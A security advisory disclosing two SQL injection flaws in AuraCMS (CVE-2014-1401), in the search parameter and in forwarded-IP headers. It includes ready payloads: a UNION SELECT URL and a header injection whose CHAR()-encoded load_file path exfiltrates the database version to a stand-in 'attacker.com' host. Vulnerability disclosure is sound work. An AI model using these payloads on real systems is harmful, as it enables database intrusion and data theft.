Multiple SQL Injection Vulnerabilities in AuraCMS

High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in AuraCMS, which can be exploited to alter SQL queries and execute arbitrary SQL commands in application’s database.

1. Multiple SQL Injection Vulnerabilities in AuraCMS: CVE-2014-1401
   1.1 The vulnerability exists due to insufficient validation of “search” HTTP GET parameter passed to “/index.php” script. A remote authenticated attacker can execute arbitrary SQL commands in application’s database.
   The exploitation example below displays version of MySQL server:
   http://[host]/index.php?mod=content&action=search&search=1%27%29%2f**%2funio n%2f**%2fselect%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20–%202

1.2 The vulnerability exists due to insufficient validation of “CLIENT_IP”, “X_FORWARDED_FOR”, “X_FORWARDED”, “FORWARDED_FOR”, “FORWARDED” HTTP headers in “/index.php” script. A remote authenticated attacker can execute arbitrary SQL commands in application’s database.
The exploitation example below displays version of MySQL server:
GET / HTTP/1.1
CLIENT_IP: ‘),(’',(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))) – 2